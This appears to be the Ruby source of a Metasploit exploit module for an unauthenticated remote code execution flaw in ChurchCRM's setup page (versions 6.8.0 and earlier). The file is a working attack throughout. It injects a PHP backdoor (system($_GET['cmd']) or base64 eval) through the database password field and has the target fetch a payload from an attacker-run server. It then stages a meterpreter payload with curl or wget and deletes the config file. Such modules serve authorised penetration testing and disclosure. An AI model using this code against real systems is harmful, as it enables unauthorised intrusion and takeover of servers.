Path: blob/master/modules/exploits/multi/http/churchcrm_install_unauth_rce.rb
36035 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::Remote::HttpServer1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'ChurchCRM Unauthenticated RCE 6.8.0',17'Description' => %q{18This module exploits an unauthenticated remote code execution19vulnerability in the installation process of ChurchCRM versions206.8.0 and earlier. By sending a specially crafted POST request to21the 'setup' page, an attacker can execute arbitrary commands on the22target server. This module uploads a meterpreter payload to the23target server and executes it, allowing for remote code execution.24},25'License' => MSF_LICENSE,26'Author' => ['LucasCsmt'],27'References' => [28[ 'GHSA', 'm8jq-j3p9-2xf3'],29[ 'CVE', '2025-62521']30],31'Platform' => ['linux', 'php'],32'Targets' => [33[34'Linux/unix Command (CmdStager)',35{36'Arch' => [ ARCH_X86, ARCH_X64 ],37'Platform' => ['linux'],38'Type' => :nix_cmdstager,39'DefaultOptions' => {40'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="rm Include/Config.php"'41},42'CmdStagerFlavor' => [43'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'44]45}46],47[48'PHP (In-Memory)',49{50'Arch' => [ ARCH_PHP ],51'Platform' => ['php'],52'Type' => :php_memory,53'DefaultOptions' => {54'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'55}56}57],58[59'PHP (fetch)',60{61'Arch' => [ ARCH_PHP ],62'Platform' => ['php'],63'Type' => :php_fetch,64'DefaultOptions' => {65'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'66}67}68],69],70'DisclosureDate' => '2025-12-17',71'DefaultTarget' => 0,72'Notes' => {73'Stability' => [CRASH_SAFE],74'Reliability' => [REPEATABLE_SESSION],75'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]76}77)78)7980register_options(81[82OptString.new('TARGETURI', [true, 'Base path', '/']),83]84)85end8687# Check if the target is up by accessing the setup page88def check89print_status('Checking if the target is reachable...')9091res = send_request_cgi({92'method' => 'GET',93'uri' => normalize_uri(target_uri.path, 'setup', '/')94})9596unless res && (res.code == 301 || res.code == 200 || res.code == 302)97fail_with(Failure::Unreachable, 'Target is not reachable')98return Exploit::CheckCode::Unknown('Target setup page is inaccessible')99end100101version = res.headers['CRM-VERSION']102if version103print_status("Found ChurchCRM version: #{version}")104if Rex::Version.new(version) <= Rex::Version.new('6.8.0')105return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")106else107return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")108end109end110111return Exploit::CheckCode::Appears112end113114# Build the payload that will be into the installation form115#116# @return : the payload117def build_payload118case target['Type']119when :php_memory120b64_payload = Rex::Text.encode_base64(payload.encoded)121"#{rand_text_alpha(3)}'; eval(base64_decode(\"#{b64_payload}\")); //"122when :php_fetch123start_service124payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'125"#{rand_text_alpha(3)}'; $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); //"126else127"#{rand_text_alpha(3)}'; system($_GET['cmd']); //"128end129end130131# Send a POST request to the setup page in order to execute commands132def alter_config133print_status('Injecting backdoor into Include/Config.php via setup page...')134135res = send_request_cgi({136'method' => 'POST',137'uri' => normalize_uri(target_uri.path, 'setup', '/'),138'vars_post' => {139'DB_SERVER_NAME' => rand_text_alpha(5..10),140'DB_SERVER_PORT' => '3306',141'DB_NAME' => rand_text_alpha(5..10),142'DB_USER' => rand_text_alpha(5..8),143'DB_PASSWORD' => build_payload,144'ROOT_PATH' => '/',145'URL' => "http://#{rand_text_alpha(5..10)}.com/"146}147})148149msg = 'Failed to inject backdoor into Include/Config.php. ' \150'This can happen if the setup process has already been ' \151'completed or if the target is not vulnerable.'152fail_with(Failure::UnexpectedReply, msg) unless res&.code == 200153end154155# Execute command on the target server156#157# @param cmd [String] the command to execute158def execute_command(cmd, _opts = {})159send_request_cgi({160'method' => 'GET',161'uri' => normalize_uri(target_uri.path),162'vars_get' => { 'cmd' => cmd }163})164end165166# Execute PHP code on the target server in order to run the payload167def execute_php168print_status('Trying to execute the PHP payload')169170send_request_cgi({171'method' => 'GET',172'uri' => normalize_uri(target_uri.path)173})174175print_good('PHP payload successfully executed')176end177178# Upload the payload to the target server179def execute_linux180print_status('Uploading payload to the target server...')181182execute_cmdstager(183linemax: 500,184nodelete: false,185background: true,186temp: '/tmp'187)188189print_good('Payload uploaded successfully.')190end191192# Handles the incoming HTTP request and serves the payload to the target.193def on_request_uri(cli, _request)194p = payload.encoded195send_response(cli, p, {196'Content-Type' => 'application/x-httpd-php',197'Pragma' => 'no-cache'198})199end200201def exploit202alter_config203204case target['Type']205when :nix_cmdstager206execute_linux207else208execute_php209end210end211end212213214